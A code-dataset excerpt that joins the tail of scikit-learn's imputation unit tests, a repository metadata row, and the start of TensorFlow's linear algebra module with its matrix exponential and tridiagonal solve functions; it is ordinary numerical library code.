X_fitted_1b) assert_allclose(X_fitted_1a, X_fitted_2) def test_iterative_imputer_no_missing(): rng = np.random.RandomState(0) X = rng.rand(100, 100) X[:, 0] = np.nan m1 = IterativeImputer(max_iter=10, random_state=rng) m2 = IterativeImputer(max_iter=10, random_state=rng) pred1 = m1.fit(X).transform(X) pred2 = m2.fit_transform(X) # should exclude the first column entirely assert_allclose(X[:, 1:], pred1) # fit and fit_transform should both be identical assert_allclose(pred1, pred2) def test_iterative_imputer_rank_one(): rng = np.random.RandomState(0) d = 50 A = rng.rand(d, 1) B = rng.rand(1, d) X = np.dot(A, B) nan_mask = rng.rand(d, d) < 0.5 X_missing = X.copy() X_missing[nan_mask] = np.nan imputer = IterativeImputer(max_iter=5, verbose=1, random_state=rng) X_filled = imputer.fit_transform(X_missing) assert_allclose(X_filled, X, atol=0.02) @pytest.mark.parametrize( "rank", [3, 5] ) def test_iterative_imputer_transform_recovery(rank): rng = np.random.RandomState(0) n = 70 d = 70 A = rng.rand(n, rank) B = rng.rand(rank, d) X_filled = np.dot(A, B) nan_mask = rng.rand(n, d) < 0.5 X_missing = X_filled.copy() X_missing[nan_mask] = np.nan # split up data in half n = n // 2 X_train = X_missing[:n] X_test_filled = X_filled[n:] X_test = X_missing[n:] imputer = IterativeImputer(max_iter=5, imputation_order='descending', verbose=1, random_state=rng).fit(X_train) X_test_est = imputer.transform(X_test) assert_allclose(X_test_filled, X_test_est, atol=0.1) def test_iterative_imputer_additive_matrix(): rng = np.random.RandomState(0) n = 100 d = 10 A = rng.randn(n, d) B = rng.randn(n, d) X_filled = np.zeros(A.shape) for i in range(d): for j in range(d): X_filled[:, (i+j) % d] += (A[:, i] + B[:, j]) / 2 # a quarter is randomly missing nan_mask = rng.rand(n, d) < 0.25 X_missing = X_filled.copy() X_missing[nan_mask] = np.nan # split up data n = n // 2 X_train = X_missing[:n] X_test_filled = X_filled[n:] X_test = X_missing[n:] imputer = IterativeImputer(max_iter=10, verbose=1, random_state=rng).fit(X_train) X_test_est = imputer.transform(X_test) assert_allclose(X_test_filled, X_test_est, rtol=1e-3, atol=0.01) @pytest.mark.parametrize("max_iter, tol, error_type, warning", [ (-1, 1e-3, ValueError, 'should be a positive integer'), (1, -1e-3, ValueError, 'should be a non-negative float') ]) def test_iterative_imputer_error_param(max_iter, tol, error_type, warning): X = np.zeros((100, 2)) imputer = IterativeImputer(max_iter=max_iter, tol=tol) with pytest.raises(error_type, match=warning): imputer.fit_transform(X) def test_iterative_imputer_early_stopping(): rng = np.random.RandomState(0) n = 50 d = 5 A = rng.rand(n, 1) B = rng.rand(1, d) X = np.dot(A, B) nan_mask = rng.rand(n, d) < 0.5 X_missing = X.copy() X_missing[nan_mask] = np.nan imputer = IterativeImputer(max_iter=100, tol=1e-2, sample_posterior=False, verbose=1, random_state=rng) X_filled_100 = imputer.fit_transform(X_missing) assert len(imputer.imputation_sequence_) == d * imputer.n_iter_ imputer = IterativeImputer(max_iter=imputer.n_iter_, sample_posterior=False, verbose=1, random_state=rng) X_filled_early = imputer.fit_transform(X_missing) assert_allclose(X_filled_100, X_filled_early, atol=1e-7) imputer = IterativeImputer(max_iter=100, tol=0, sample_posterior=False, verbose=1, random_state=rng) imputer.fit(X_missing) assert imputer.n_iter_ == imputer.max_iter def test_iterative_imputer_catch_warning(): # check that we catch a RuntimeWarning due to a division by zero when a # feature is constant in the dataset X, y = load_diabetes(return_X_y=True) n_samples, n_features = X.shape # simulate that a feature only contain one category during fit X[:, 3] = 1 # add some missing values rng = np.random.RandomState(0) missing_rate = 0.15 for feat in range(n_features): sample_idx = rng.choice( np.arange(n_samples), size=int(n_samples * missing_rate), replace=False ) X[sample_idx, feat] = np.nan imputer = IterativeImputer(n_nearest_features=5, sample_posterior=True) with pytest.warns(None) as record: X_fill = imputer.fit_transform(X, y) assert not record.list assert not np.any(np.isnan(X_fill)) @pytest.mark.parametrize( "min_value, max_value, correct_output", [(0, 100, np.array([[0] * 3, [100] * 3])), (None, None, np.array([[-np.inf] * 3, [np.inf] * 3])), (-np.inf, np.inf, np.array([[-np.inf] * 3, [np.inf] * 3])), ([-5, 5, 10], [100, 200, 300], np.array([[-5, 5, 10], [100, 200, 300]])), ([-5, -np.inf, 10], [100, 200, np.inf], np.array([[-5, -np.inf, 10], [100, 200, np.inf]]))], ids=["scalars", "None-default", "inf", "lists", "lists-with-inf"]) def test_iterative_imputer_min_max_array_like(min_value, max_value, correct_output): # check that passing scalar or array-like # for min_value and max_value in IterativeImputer works X = np.random.RandomState(0).randn(10, 3) imputer = IterativeImputer(min_value=min_value, max_value=max_value) imputer.fit(X) assert (isinstance(imputer._min_value, np.ndarray) and isinstance(imputer._max_value, np.ndarray)) assert ((imputer._min_value.shape[0] == X.shape[1]) and (imputer._max_value.shape[0] == X.shape[1])) assert_allclose(correct_output[0, :], imputer._min_value) assert_allclose(correct_output[1, :], imputer._max_value) @pytest.mark.parametrize( "min_value, max_value, err_msg", [(100, 0, "min_value >= max_value."), (np.inf, -np.inf, "min_value >= max_value."), ([-5, 5], [100, 200, 0], "_value' should be of shape")]) def test_iterative_imputer_catch_min_max_error(min_value, max_value, err_msg): # check that passing scalar or array-like # for min_value and max_value in IterativeImputer works X = np.random.random((10, 3)) imputer = IterativeImputer(min_value=min_value, max_value=max_value) with pytest.raises(ValueError, match=err_msg): imputer.fit(X) @pytest.mark.parametrize( "min_max_1, min_max_2", [([None, None], [-np.inf, np.inf]), ([-10, 10], [[-10] * 4, [10] * 4])], ids=["None-vs-inf", "Scalar-vs-vector"]) def test_iterative_imputer_min_max_array_like_imputation(min_max_1, min_max_2): # Test that None/inf and scalar/vector give the same imputation X_train = np.array([ [np.nan, 2, 2, 1], [10, np.nan, np.nan, 7], [3, 1, np.nan, 1], [np.nan, 4, 2, np.nan]]) X_test = np.array([ [np.nan, 2, np.nan, 5], [2, 4, np.nan, np.nan], [np.nan, 1, 10, 1]]) imputer1 = IterativeImputer(min_value=min_max_1[0], max_value=min_max_1[1], random_state=0) imputer2 = IterativeImputer(min_value=min_max_2[0], max_value=min_max_2[1], random_state=0) X_test_imputed1 = imputer1.fit(X_train).transform(X_test) X_test_imputed2 = imputer2.fit(X_train).transform(X_test) assert_allclose(X_test_imputed1[:, 0], X_test_imputed2[:, 0]) @pytest.mark.parametrize( "skip_complete", [True, False] ) def test_iterative_imputer_skip_non_missing(skip_complete): # check the imputing strategy when missing data are present in the # testing set only. # taken from: https://github.com/scikit-learn/scikit-learn/issues/14383 rng = np.random.RandomState(0) X_train = np.array([ [5, 2, 2, 1], [10, 1, 2, 7], [3, 1, 1, 1], [8, 4, 2, 2] ]) X_test = np.array([ [np.nan, 2, 4, 5], [np.nan, 4, 1, 2], [np.nan, 1, 10, 1] ]) imputer = IterativeImputer( initial_strategy='mean', skip_complete=skip_complete, random_state=rng ) X_test_est = imputer.fit(X_train).transform(X_test) if skip_complete: # impute with the initial strategy: 'mean' assert_allclose(X_test_est[:, 0], np.mean(X_train[:, 0])) else: assert_allclose(X_test_est[:, 0], [11, 7, 12], rtol=1e-4) @pytest.mark.parametrize( "X_fit, X_trans, params, msg_err", [(np.array([[-1, 1], [1, 2]]), np.array([[-1, 1], [1, -1]]), {'features': 'missing-only', 'sparse': 'auto'}, 'have missing values in transform but have no missing values in fit'), (np.array([[-1, 1], [1, 2]]), np.array([[-1, 1], [1, 2]]), {'features': 'random', 'sparse': 'auto'}, "'features' has to be either 'missing-only' or 'all'"), (np.array([[-1, 1], [1, 2]]), np.array([[-1, 1], [1, 2]]), {'features': 'all', 'sparse': 'random'}, "'sparse' has to be a boolean or 'auto'"), (np.array([['a', 'b'], ['c', 'a']], dtype=str), np.array([['a', 'b'], ['c', 'a']], dtype=str), {}, "MissingIndicator does not support data with dtype")] ) def test_missing_indicator_error(X_fit, X_trans, params, msg_err): indicator = MissingIndicator(missing_values=-1) indicator.set_params(**params) with pytest.raises(ValueError, match=msg_err): indicator.fit(X_fit).transform(X_trans) @pytest.mark.parametrize( "missing_values, dtype, arr_type", [(np.nan, np.float64, np.array), (0, np.int32, np.array), (-1, np.int32, np.array), (np.nan, np.float64, sparse.csc_matrix), (-1, np.int32, sparse.csc_matrix), (np.nan, np.float64, sparse.csr_matrix), (-1, np.int32, sparse.csr_matrix), (np.nan, np.float64, sparse.coo_matrix), (-1, np.int32, sparse.coo_matrix), (np.nan, np.float64, sparse.lil_matrix), (-1, np.int32, sparse.lil_matrix), (np.nan, np.float64, sparse.bsr_matrix), (-1, np.int32, sparse.bsr_matrix) ]) @pytest.mark.parametrize( "param_features, n_features, features_indices", [('missing-only', 3, np.array([0, 1, 2])), ('all', 3, np.array([0, 1, 2]))]) def test_missing_indicator_new(missing_values, arr_type, dtype, param_features, n_features, features_indices): X_fit = np.array([[missing_values, missing_values, 1], [4, 2, missing_values]]) X_trans = np.array([[missing_values, missing_values, 1], [4, 12, 10]]) X_fit_expected = np.array([[1, 1, 0], [0, 0, 1]]) X_trans_expected = np.array([[1, 1, 0], [0, 0, 0]]) # convert the input to the right array format and right dtype X_fit = arr_type(X_fit).astype(dtype) X_trans = arr_type(X_trans).astype(dtype) X_fit_expected = X_fit_expected.astype(dtype) X_trans_expected = X_trans_expected.astype(dtype) indicator = MissingIndicator(missing_values=missing_values, features=param_features, sparse=False) X_fit_mask = indicator.fit_transform(X_fit) X_trans_mask = indicator.transform(X_trans) assert X_fit_mask.shape[1] == n_features assert X_trans_mask.shape[1] == n_features assert_array_equal(indicator.features_, features_indices) assert_allclose(X_fit_mask, X_fit_expected[:, features_indices]) assert_allclose(X_trans_mask, X_trans_expected[:, features_indices]) assert X_fit_mask.dtype == bool assert X_trans_mask.dtype == bool assert isinstance(X_fit_mask, np.ndarray) assert isinstance(X_trans_mask, np.ndarray) indicator.set_params(sparse=True) X_fit_mask_sparse = indicator.fit_transform(X_fit) X_trans_mask_sparse = indicator.transform(X_trans) assert X_fit_mask_sparse.dtype == bool assert X_trans_mask_sparse.dtype == bool assert X_fit_mask_sparse.format == 'csc' assert X_trans_mask_sparse.format == 'csc' assert_allclose(X_fit_mask_sparse.toarray(), X_fit_mask) assert_allclose(X_trans_mask_sparse.toarray(), X_trans_mask) @pytest.mark.parametrize( "arr_type", [sparse.csc_matrix, sparse.csr_matrix, sparse.coo_matrix, sparse.lil_matrix, sparse.bsr_matrix]) def test_missing_indicator_raise_on_sparse_with_missing_0(arr_type): # test for sparse input and missing_value == 0 missing_values = 0 X_fit = np.array([[missing_values, missing_values, 1], [4, missing_values, 2]]) X_trans = np.array([[missing_values, missing_values, 1], [4, 12, 10]]) # convert the input to the right array format X_fit_sparse = arr_type(X_fit) X_trans_sparse = arr_type(X_trans) indicator = MissingIndicator(missing_values=missing_values) with pytest.raises(ValueError, match="Sparse input with missing_values=0"): indicator.fit_transform(X_fit_sparse) indicator.fit_transform(X_fit) with pytest.raises(ValueError, match="Sparse input with missing_values=0"): indicator.transform(X_trans_sparse) @pytest.mark.parametrize("param_sparse", [True, False, 'auto']) @pytest.mark.parametrize("missing_values, arr_type", [(np.nan, np.array), (0, np.array), (np.nan, sparse.csc_matrix), (np.nan, sparse.csr_matrix), (np.nan, sparse.coo_matrix), (np.nan, sparse.lil_matrix) ]) def test_missing_indicator_sparse_param(arr_type, missing_values, param_sparse): # check the format of the output with different sparse parameter X_fit = np.array([[missing_values, missing_values, 1], [4, missing_values, 2]]) X_trans = np.array([[missing_values, missing_values, 1], [4, 12, 10]]) X_fit = arr_type(X_fit).astype(np.float64) X_trans = arr_type(X_trans).astype(np.float64) indicator = MissingIndicator(missing_values=missing_values, sparse=param_sparse) X_fit_mask = indicator.fit_transform(X_fit) X_trans_mask = indicator.transform(X_trans) if param_sparse is True: assert X_fit_mask.format == 'csc' assert X_trans_mask.format == 'csc' elif param_sparse == 'auto' and missing_values == 0: assert isinstance(X_fit_mask, np.ndarray) assert isinstance(X_trans_mask, np.ndarray) elif param_sparse is False: assert isinstance(X_fit_mask, np.ndarray) assert isinstance(X_trans_mask, np.ndarray) else: if sparse.issparse(X_fit): assert X_fit_mask.format == 'csc' assert X_trans_mask.format == 'csc' else: assert isinstance(X_fit_mask, np.ndarray) assert isinstance(X_trans_mask, np.ndarray) def test_missing_indicator_string(): X = np.array([['a', 'b', 'c'], ['b', 'c', 'a']], dtype=object) indicator = MissingIndicator(missing_values='a', features='all') X_trans = indicator.fit_transform(X) assert_array_equal(X_trans, np.array([[True, False, False], [False, False, True]])) @pytest.mark.parametrize( "X, missing_values, X_trans_exp", [(np.array([['a', 'b'], ['b', 'a']], dtype=object), 'a', np.array([['b', 'b', True, False], ['b', 'b', False, True]], dtype=object)), (np.array([[np.nan, 1.], [1., np.nan]]), np.nan, np.array([[1., 1., True, False], [1., 1., False, True]])), (np.array([[np.nan, 'b'], ['b', np.nan]], dtype=object), np.nan, np.array([['b', 'b', True, False], ['b', 'b', False, True]], dtype=object)), (np.array([[None, 'b'], ['b', None]], dtype=object), None, np.array([['b', 'b', True, False], ['b', 'b', False, True]], dtype=object))] ) def test_missing_indicator_with_imputer(X, missing_values, X_trans_exp): trans = make_union( SimpleImputer(missing_values=missing_values, strategy='most_frequent'), MissingIndicator(missing_values=missing_values) ) X_trans = trans.fit_transform(X) assert_array_equal(X_trans, X_trans_exp) @pytest.mark.parametrize("imputer_constructor", [SimpleImputer, IterativeImputer]) @pytest.mark.parametrize( "imputer_missing_values, missing_value, err_msg", [("NaN", np.nan, "Input contains NaN"), ("-1", -1, "types are expected to be both numerical.")]) def test_inconsistent_dtype_X_missing_values(imputer_constructor, imputer_missing_values, missing_value, err_msg): # regression test for issue #11390. Comparison between incoherent dtype # for X and missing_values was not raising a proper error. rng = np.random.RandomState(42) X = rng.randn(10, 10) X[0, 0] = missing_value imputer = imputer_constructor(missing_values=imputer_missing_values) with pytest.raises(ValueError, match=err_msg): imputer.fit_transform(X) def test_missing_indicator_no_missing(): # check that all features are dropped if there are no missing values when # features='missing-only' (#13491) X = np.array([[1, 1], [1, 1]]) mi = MissingIndicator(features='missing-only', missing_values=-1) Xt = mi.fit_transform(X) assert Xt.shape[1] == 0 def test_missing_indicator_sparse_no_explicit_zeros(): # Check that non missing values don't become explicit zeros in the mask # generated by missing indicator when X is sparse. (#13491) X = sparse.csr_matrix([[0, 1, 2], [1, 2, 0], [2, 0, 1]]) mi = MissingIndicator(features='all', missing_values=1) Xt = mi.fit_transform(X) assert Xt.getnnz() == Xt.sum() @pytest.mark.parametrize("imputer_constructor", [SimpleImputer, IterativeImputer]) def test_imputer_without_indicator(imputer_constructor): X = np.array([[1, 1], [1, 1]]) imputer = imputer_constructor() imputer.fit(X) assert imputer.indicator_ is None @pytest.mark.parametrize( "arr_type", [ sparse.csc_matrix, sparse.csr_matrix, sparse.coo_matrix, sparse.lil_matrix, sparse.bsr_matrix ] ) def test_simple_imputation_add_indicator_sparse_matrix(arr_type): X_sparse = arr_type([ [np.nan, 1, 5], [2, np.nan, 1], [6, 3, np.nan], [1, 2, 9] ]) X_true = np.array([ [3., 1., 5., 1., 0., 0.], [2., 2., 1., 0., 1., 0.], [6., 3., 5., 0., 0., 1.], [1., 2., 9., 0., 0., 0.], ]) imputer = SimpleImputer(missing_values=np.nan, add_indicator=True) X_trans = imputer.fit_transform(X_sparse) assert sparse.issparse(X_trans) assert X_trans.shape == X_true.shape assert_allclose(X_trans.toarray(), X_true) @pytest.mark.parametrize( 'strategy, expected', [('most_frequent', 'b'), ('constant', 'missing_value')] ) def test_simple_imputation_string_list(strategy, expected): X = [['a', 'b'], ['c', np.nan]] X_true = np.array([ ['a', 'b'], ['c', expected] ], dtype=object) imputer = SimpleImputer(strategy=strategy) X_trans = imputer.fit_transform(X) assert_array_equal(X_trans, X_true) @pytest.mark.parametrize( "order, idx_order", [ ("ascending", [3, 4, 2, 0, 1]), ("descending", [1, 0, 2, 4, 3]) ] ) def test_imputation_order(order, idx_order): # regression test for #15393 rng = np.random.RandomState(42) X = rng.rand(100, 5) X[:50, 1] = np.nan X[:30, 0] = np.nan X[:20, 2] = np.nan X[:10, 4] = np.nan with pytest.warns(ConvergenceWarning): trs = IterativeImputer(max_iter=1, imputation_order=order, random_state=0).fit(X) idx = [x.feat_idx for x in trs.imputation_sequence_] assert idx == idx_order @pytest.mark.parametrize("missing_value", [-1, np.nan]) def test_simple_imputation_inverse_transform(missing_value): # Test inverse_transform feature for np.nan X_1 = np.array([ [9, missing_value, 3, -1], [4, -1, 5, 4], [6, 7, missing_value, -1], [8, 9, 0, missing_value] ]) X_2 = np.array([ [5, 4, 2, 1], [2, 1, missing_value, 3], [9, missing_value, 7, 1], [6, 4, 2, missing_value] ]) X_3 = np.array([ [1, missing_value, 5, 9], [missing_value, 4, missing_value, missing_value], [2, missing_value, 7, missing_value], [missing_value, 3, missing_value, 8] ]) X_4 = np.array([ [1, 1, 1, 3], [missing_value, 2, missing_value, 1], [2, 3, 3, 4], [missing_value, 4, missing_value, 2] ]) imputer = SimpleImputer(missing_values=missing_value, strategy='mean', add_indicator=True) X_1_trans = imputer.fit_transform(X_1) X_1_inv_trans = imputer.inverse_transform(X_1_trans) X_2_trans = imputer.transform(X_2) # test on new data X_2_inv_trans = imputer.inverse_transform(X_2_trans) assert_array_equal(X_1_inv_trans, X_1) assert_array_equal(X_2_inv_trans, X_2) for X in [X_3, X_4]: X_trans = imputer.fit_transform(X) X_inv_trans = imputer.inverse_transform(X_trans) assert_array_equal(X_inv_trans, X) @pytest.mark.parametrize("missing_value", [-1, np.nan]) def test_simple_imputation_inverse_transform_exceptions(missing_value): X_1 = np.array([ [9, missing_value, 3, -1], [4, -1, 5, 4], [6, 7, missing_value, -1], [8, 9, 0, missing_value] ]) imputer = SimpleImputer(missing_values=missing_value, strategy="mean") X_1_trans = imputer.fit_transform(X_1) with pytest.raises(ValueError, match=f"Got 'add_indicator={imputer.add_indicator}'"): imputer.inverse_transform(X_1_trans)
bnaul/scikit-learn
sklearn/impute/tests/test_impute.py
Python
bsd-3-clause
50,541
[ "Gaussian" ]
ed3d9f24d795af27ceaf9a77bd986da707c7c9cae26f8d5a968c99281963b971
# Copyright 2017 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """Operations for linear algebra.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function from tensorflow.python.framework import constant_op from tensorflow.python.framework import dtypes from tensorflow.python.framework import ops from tensorflow.python.framework import tensor_shape from tensorflow.python.ops import array_ops from tensorflow.python.ops import control_flow_ops from tensorflow.python.ops import gen_linalg_ops from tensorflow.python.ops import linalg_ops from tensorflow.python.ops import math_ops from tensorflow.python.ops import special_math_ops from tensorflow.python.util.tf_export import tf_export # Linear algebra ops. band_part = array_ops.matrix_band_part cholesky = linalg_ops.cholesky cholesky_solve = linalg_ops.cholesky_solve det = linalg_ops.matrix_determinant slogdet = gen_linalg_ops.log_matrix_determinant tf_export('linalg.slogdet')(slogdet) diag = array_ops.matrix_diag diag_part = array_ops.matrix_diag_part eigh = linalg_ops.self_adjoint_eig eigvalsh = linalg_ops.self_adjoint_eigvals einsum = special_math_ops.einsum eye = linalg_ops.eye inv = linalg_ops.matrix_inverse logm = gen_linalg_ops.matrix_logarithm lu = gen_linalg_ops.lu tf_export('linalg.logm')(logm) lstsq = linalg_ops.matrix_solve_ls norm = linalg_ops.norm qr = linalg_ops.qr set_diag = array_ops.matrix_set_diag solve = linalg_ops.matrix_solve sqrtm = linalg_ops.matrix_square_root svd = linalg_ops.svd tensordot = math_ops.tensordot trace = math_ops.trace transpose = array_ops.matrix_transpose triangular_solve = linalg_ops.matrix_triangular_solve @tf_export('linalg.logdet') def logdet(matrix, name=None): """Computes log of the determinant of a hermitian positive definite matrix. ```python # Compute the determinant of a matrix while reducing the chance of over- or underflow: A = ... # shape 10 x 10 det = tf.exp(tf.logdet(A)) # scalar ``` Args: matrix: A `Tensor`. Must be `float16`, `float32`, `float64`, `complex64`, or `complex128` with shape `[..., M, M]`. name: A name to give this `Op`. Defaults to `logdet`. Returns: The natural log of the determinant of `matrix`. @compatibility(numpy) Equivalent to numpy.linalg.slogdet, although no sign is returned since only hermitian positive definite matrices are supported. @end_compatibility """ # This uses the property that the log det(A) = 2*sum(log(real(diag(C)))) # where C is the cholesky decomposition of A. with ops.name_scope(name, 'logdet', [matrix]): chol = gen_linalg_ops.cholesky(matrix) return 2.0 * math_ops.reduce_sum( math_ops.log(math_ops.real(array_ops.matrix_diag_part(chol))), axis=[-1]) @tf_export('linalg.adjoint') def adjoint(matrix, name=None): """Transposes the last two dimensions of and conjugates tensor `matrix`. For example: ```python x = tf.constant([[1 + 1j, 2 + 2j, 3 + 3j], [4 + 4j, 5 + 5j, 6 + 6j]]) tf.linalg.adjoint(x) # [[1 - 1j, 4 - 4j], # [2 - 2j, 5 - 5j], # [3 - 3j, 6 - 6j]] ``` Args: matrix: A `Tensor`. Must be `float16`, `float32`, `float64`, `complex64`, or `complex128` with shape `[..., M, M]`. name: A name to give this `Op` (optional). Returns: The adjoint (a.k.a. Hermitian transpose a.k.a. conjugate transpose) of matrix. """ with ops.name_scope(name, 'adjoint', [matrix]): matrix = ops.convert_to_tensor(matrix, name='matrix') return array_ops.matrix_transpose(matrix, conjugate=True) # This section is ported nearly verbatim from Eigen's implementation: # https://eigen.tuxfamily.org/dox/unsupported/MatrixExponential_8h_source.html def _matrix_exp_pade3(matrix): """3rd-order Pade approximant for matrix exponential.""" b = [120.0, 60.0, 12.0] b = [constant_op.constant(x, matrix.dtype) for x in b] ident = linalg_ops.eye(array_ops.shape(matrix)[-2], batch_shape=array_ops.shape(matrix)[:-2], dtype=matrix.dtype) matrix_2 = math_ops.matmul(matrix, matrix) tmp = matrix_2 + b[1] * ident matrix_u = math_ops.matmul(matrix, tmp) matrix_v = b[2] * matrix_2 + b[0] * ident return matrix_u, matrix_v def _matrix_exp_pade5(matrix): """5th-order Pade approximant for matrix exponential.""" b = [30240.0, 15120.0, 3360.0, 420.0, 30.0] b = [constant_op.constant(x, matrix.dtype) for x in b] ident = linalg_ops.eye(array_ops.shape(matrix)[-2], batch_shape=array_ops.shape(matrix)[:-2], dtype=matrix.dtype) matrix_2 = math_ops.matmul(matrix, matrix) matrix_4 = math_ops.matmul(matrix_2, matrix_2) tmp = matrix_4 + b[3] * matrix_2 + b[1] * ident matrix_u = math_ops.matmul(matrix, tmp) matrix_v = b[4] * matrix_4 + b[2] * matrix_2 + b[0] * ident return matrix_u, matrix_v def _matrix_exp_pade7(matrix): """7th-order Pade approximant for matrix exponential.""" b = [17297280.0, 8648640.0, 1995840.0, 277200.0, 25200.0, 1512.0, 56.0] b = [constant_op.constant(x, matrix.dtype) for x in b] ident = linalg_ops.eye(array_ops.shape(matrix)[-2], batch_shape=array_ops.shape(matrix)[:-2], dtype=matrix.dtype) matrix_2 = math_ops.matmul(matrix, matrix) matrix_4 = math_ops.matmul(matrix_2, matrix_2) matrix_6 = math_ops.matmul(matrix_4, matrix_2) tmp = matrix_6 + b[5] * matrix_4 + b[3] * matrix_2 + b[1] * ident matrix_u = math_ops.matmul(matrix, tmp) matrix_v = b[6] * matrix_6 + b[4] * matrix_4 + b[2] * matrix_2 + b[0] * ident return matrix_u, matrix_v def _matrix_exp_pade9(matrix): """9th-order Pade approximant for matrix exponential.""" b = [ 17643225600.0, 8821612800.0, 2075673600.0, 302702400.0, 30270240.0, 2162160.0, 110880.0, 3960.0, 90.0 ] b = [constant_op.constant(x, matrix.dtype) for x in b] ident = linalg_ops.eye(array_ops.shape(matrix)[-2], batch_shape=array_ops.shape(matrix)[:-2], dtype=matrix.dtype) matrix_2 = math_ops.matmul(matrix, matrix) matrix_4 = math_ops.matmul(matrix_2, matrix_2) matrix_6 = math_ops.matmul(matrix_4, matrix_2) matrix_8 = math_ops.matmul(matrix_6, matrix_2) tmp = ( matrix_8 + b[7] * matrix_6 + b[5] * matrix_4 + b[3] * matrix_2 + b[1] * ident) matrix_u = math_ops.matmul(matrix, tmp) matrix_v = ( b[8] * matrix_8 + b[6] * matrix_6 + b[4] * matrix_4 + b[2] * matrix_2 + b[0] * ident) return matrix_u, matrix_v def _matrix_exp_pade13(matrix): """13th-order Pade approximant for matrix exponential.""" b = [ 64764752532480000.0, 32382376266240000.0, 7771770303897600.0, 1187353796428800.0, 129060195264000.0, 10559470521600.0, 670442572800.0, 33522128640.0, 1323241920.0, 40840800.0, 960960.0, 16380.0, 182.0 ] b = [constant_op.constant(x, matrix.dtype) for x in b] ident = linalg_ops.eye(array_ops.shape(matrix)[-2], batch_shape=array_ops.shape(matrix)[:-2], dtype=matrix.dtype) matrix_2 = math_ops.matmul(matrix, matrix) matrix_4 = math_ops.matmul(matrix_2, matrix_2) matrix_6 = math_ops.matmul(matrix_4, matrix_2) tmp_u = ( math_ops.matmul(matrix_6, matrix_6 + b[11] * matrix_4 + b[9] * matrix_2) + b[7] * matrix_6 + b[5] * matrix_4 + b[3] * matrix_2 + b[1] * ident) matrix_u = math_ops.matmul(matrix, tmp_u) tmp_v = b[12] * matrix_6 + b[10] * matrix_4 + b[8] * matrix_2 matrix_v = ( math_ops.matmul(matrix_6, tmp_v) + b[6] * matrix_6 + b[4] * matrix_4 + b[2] * matrix_2 + b[0] * ident) return matrix_u, matrix_v @tf_export('linalg.expm') def matrix_exponential(input, name=None): # pylint: disable=redefined-builtin r"""Computes the matrix exponential of one or more square matrices. exp(A) = \sum_{n=0}^\infty A^n/n! The exponential is computed using a combination of the scaling and squaring method and the Pade approximation. Details can be found in: Nicholas J. Higham, "The scaling and squaring method for the matrix exponential revisited," SIAM J. Matrix Anal. Applic., 26:1179-1193, 2005. The input is a tensor of shape `[..., M, M]` whose inner-most 2 dimensions form square matrices. The output is a tensor of the same shape as the input containing the exponential for all input submatrices `[..., :, :]`. Args: input: A `Tensor`. Must be `float16`, `float32`, `float64`, `complex64`, or `complex128` with shape `[..., M, M]`. name: A name to give this `Op` (optional). Returns: the matrix exponential of the input. Raises: ValueError: An unsupported type is provided as input. @compatibility(scipy) Equivalent to scipy.linalg.expm @end_compatibility """ with ops.name_scope(name, 'matrix_exponential', [input]): matrix = ops.convert_to_tensor(input, name='input') if matrix.shape[-2:] == [0, 0]: return matrix batch_shape = matrix.shape[:-2] if not batch_shape.is_fully_defined(): batch_shape = array_ops.shape(matrix)[:-2] # reshaping the batch makes the where statements work better matrix = array_ops.reshape( matrix, array_ops.concat(([-1], array_ops.shape(matrix)[-2:]), axis=0)) l1_norm = math_ops.reduce_max( math_ops.reduce_sum(math_ops.abs(matrix), axis=array_ops.size(array_ops.shape(matrix)) - 2), axis=-1) const = lambda x: constant_op.constant(x, l1_norm.dtype) def _nest_where(vals, cases): assert len(vals) == len(cases) - 1 if len(vals) == 1: return array_ops.where( math_ops.less(l1_norm, const(vals[0])), cases[0], cases[1]) else: return array_ops.where( math_ops.less(l1_norm, const(vals[0])), cases[0], _nest_where(vals[1:], cases[1:])) if matrix.dtype in [dtypes.float16, dtypes.float32, dtypes.complex64]: maxnorm = const(3.925724783138660) squarings = math_ops.maximum( math_ops.floor( math_ops.log(l1_norm / maxnorm) / math_ops.log(const(2.0))), 0) u3, v3 = _matrix_exp_pade3(matrix) u5, v5 = _matrix_exp_pade5(matrix) u7, v7 = _matrix_exp_pade7( matrix / math_ops.pow( constant_op.constant(2.0, dtype=matrix.dtype), math_ops.cast(squarings, matrix.dtype))[..., array_ops.newaxis, array_ops.newaxis]) conds = (4.258730016922831e-001, 1.880152677804762e+000) u = _nest_where(conds, (u3, u5, u7)) v = _nest_where(conds, (v3, v5, v7)) elif matrix.dtype in [dtypes.float64, dtypes.complex128]: maxnorm = const(5.371920351148152) squarings = math_ops.maximum( math_ops.floor( math_ops.log(l1_norm / maxnorm) / math_ops.log(const(2.0))), 0) u3, v3 = _matrix_exp_pade3(matrix) u5, v5 = _matrix_exp_pade5(matrix) u7, v7 = _matrix_exp_pade7(matrix) u9, v9 = _matrix_exp_pade9(matrix) u13, v13 = _matrix_exp_pade13( matrix / math_ops.pow( constant_op.constant(2.0, dtype=matrix.dtype), math_ops.cast(squarings, matrix.dtype))[..., array_ops.newaxis, array_ops.newaxis]) conds = (1.495585217958292e-002, 2.539398330063230e-001, 9.504178996162932e-001, 2.097847961257068e+000) u = _nest_where(conds, (u3, u5, u7, u9, u13)) v = _nest_where(conds, (v3, v5, v7, v9, v13)) else: raise ValueError( 'tf.linalg.expm does not support matrices of type %s' % matrix.dtype) numer = u + v denom = -u + v result = linalg_ops.matrix_solve(denom, numer) max_squarings = math_ops.reduce_max(squarings) i = const(0.0) c = lambda i, r: math_ops.less(i, max_squarings) def b(i, r): return i+1, array_ops.where(math_ops.less(i, squarings), math_ops.matmul(r, r), r) _, result = control_flow_ops.while_loop(c, b, [i, result]) if not matrix.shape.is_fully_defined(): return array_ops.reshape( result, array_ops.concat((batch_shape, array_ops.shape(result)[-2:]), axis=0)) return array_ops.reshape(result, batch_shape.concatenate(result.shape[-2:])) @tf_export('linalg.tridiagonal_solve') def tridiagonal_solve(diagonals, rhs, diagonals_format='compact', transpose_rhs=False, conjugate_rhs=False, name=None): r"""Solves tridiagonal systems of equations. Solution is computed via Gaussian elemination with partial pivoting. The input can be supplied in various formats: `matrix`, `tuple` and `compact`, specified by the `diagonals_format` arg. In `matrix` format, `diagonals` must be a tensor of shape `[..., M, M]`, with two inner-most dimensions representing the square tridiagonal 